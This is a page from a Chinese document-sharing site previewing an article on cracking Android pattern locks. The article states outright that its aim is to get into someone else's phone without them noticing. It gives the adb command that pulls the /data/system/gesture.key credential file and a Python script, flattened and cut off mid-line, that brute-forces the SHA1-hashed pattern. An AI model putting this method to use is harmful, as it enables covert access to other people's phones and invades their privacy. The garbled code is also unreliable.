- 1、本文档共4页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
如何破解安卓手机上图形锁
如何破解安卓手机上的图形锁(九宫格锁)
安卓手机的图形锁(九宫格)是3×3的点阵,按次序连接数个点从而达到锁定/解锁的功能。最少需要连接4个点,最多能连接9个点。网上也有暴力删除手机图形锁的方法,即直接干掉图形锁功能。但假如你想进入别人的手机,但又不想引起其警觉的话……你可以参考一下本文。前提条件:手机需要root,而且打开调试模式。一般来讲,如果用过诸如“豌豆荚手机助手”、“360手机助手”一类的软件,都会被要求打开调试模式的。如果要删除手机内置软件,则需要将手机root。原理分析首先科普一下,安卓手机是如何标记这9个点的。通过阅读安卓系统源码可知,每个点都有其编号,组成了一个3×3的矩阵,形如:
複製代碼
00 01 0203 04 0506 07 08
假如设定解锁图形为一个“L”形,如图:?那么这几个点的排列顺序是这样的:00 03 06 07 08。系统就记下来了这一串数字,然后将这一串数字(以十六进制的方式)进行SHA1加密,存储在了手机里的/data/system/gesture.key 文件中。我们用数据线连接手机和电脑,然后ADB连接手机,将文件下载到电脑上(命令:adb pull /data/system/gesture.key gesture.key),如图:?用WinHex等十六进制编辑程序打开gesture.key,会发现文件内是SHA1加密过的字符串:c8c0b24a15dc8bbfd411427973574695230458f0,如图:?当你下次解锁的时候,系统就对比你画的图案,看对应的数字串是不是0003060708对应的加密结果。如果是,就解锁;不是就继续保持锁定。那么,如果穷举所有的数字串排列,会有多少呢?联想到高中的阶乘,如果用4个点做解锁图形的话,就是9x8x7x6=3024种可能性,那5个点就是15120,6个点的话60480,7个点181440,8个点362880,9个点362880。总共是985824种可能性(但这么计算并不严密,因为同一条直线上的点只能和他们相邻的点相连)。满打满算,也不到985824种可能性。乍一看很大,但在计算机面前,穷举出来这些东西用不了几秒钟。破解过程知道了原理,就着手写程序来实现吧。这里使用了Python来完成任务。主要应用了hashlib模块(对字符串进行SHA1加密)和itertools模块(Python内置,生成00-09的排列组合)。主要流程为:1.ADB连接手机,获取gesture.key文件2.读取key文件,存入字符串str_A3.生成全部可能的数字串4.对这些数字串进行加密,得到字符串str_B5.将字符串str_A与str_B进行对比6.如果字符串A,B相同,则说明数字串num就是想要的解锁顺序7.打印出数字串num下面为程序:
複製代碼
# -*- coding: cp936 -*-import itertoolsimport hashlibimport timeimport os#调用cmd,ADB连接到手机,读取SHA1加密后的字符串os.system(\adb pull /data/system/gesture.key gesture.key\)time.sleep(5)f=open(gesture.key,r)pswd=f.readline()f.close()pswd_hex=pswd.encode(hex)print 加密后的密码为:%s%pswd_hex#生成解锁序列,得到[00,01,02,03,04,05,06,07,08]matrix=[] for i in range(0,9):? ? str_temp = 0+str(i)? ? matrix.append(str_temp)#将00——08的字符进行排列,至少取4个数排列,最多全部进行排列min_num=4max_num=len(matrix)for num in range(min_num,max_num+1):#从04 - 08? ? iter1 = itertools.permutations(matrix,num)#从9个数字中挑出n个进行排列? ? list_m=[]? ? list_m.append(list(iter1))#将生成的排列全部存放到 list_m 列表中? ? for el in list_m[0]:#遍历这n个数字的全部排列? ? ? ? strlist=.join(el)#将list转换成str。[00,03,06,07,08]--0003060708? ? ? ? strlist_sha1 = ha
您可能关注的文档
- 在现在污染越来越多情况下.doc
- 在节目制作中如何发挥摇臂优势.doc
- 在春天诗意里倘佯.doc
- 地基基础统1技术措施.doc
- 在游戏中培养孩子抗挫折能力.doc
- 在这里我们1起成长.doc
- 在欣赏好莱坞影片时–你首先看到也是出现在片头摄制这部影片电影公司标识–比如–梦工厂那个坐在月.doc
- 地球是如何运动起来.doc
- 在线设计引物方法步骤1.doc
- 地面坐标系中某1点的地形矢在北东坐标系中的投影.doc
- 2025年网络文学平台版权运营模式创新与版权保护体系构建.docx
- 数字藏品市场运营策略洞察:2025年市场风险与应对策略分析.docx
- 全球新能源汽车产业政策法规与市场前景白皮书.docx
- 工业互联网平台安全标准制定:安全防护与合规性监管策略.docx
- 剧本杀剧本创作审核标准2025年优化与行业自律.docx
- 2025年新能源电动巡逻车在城市安防中的应用对城市环境的影响分析.docx
- 全渠道零售案例精选:2025年行业创新实践报告.docx
- 2025年网约车司乘纠纷处理机制优化与行业可持续发展报告.docx
- 2025年宠物烘焙食品市场法规政策解读:合规经营与风险规避.docx
- 2025年宠物行业数据安全监管政策影响分析报告.docx
文档评论(0)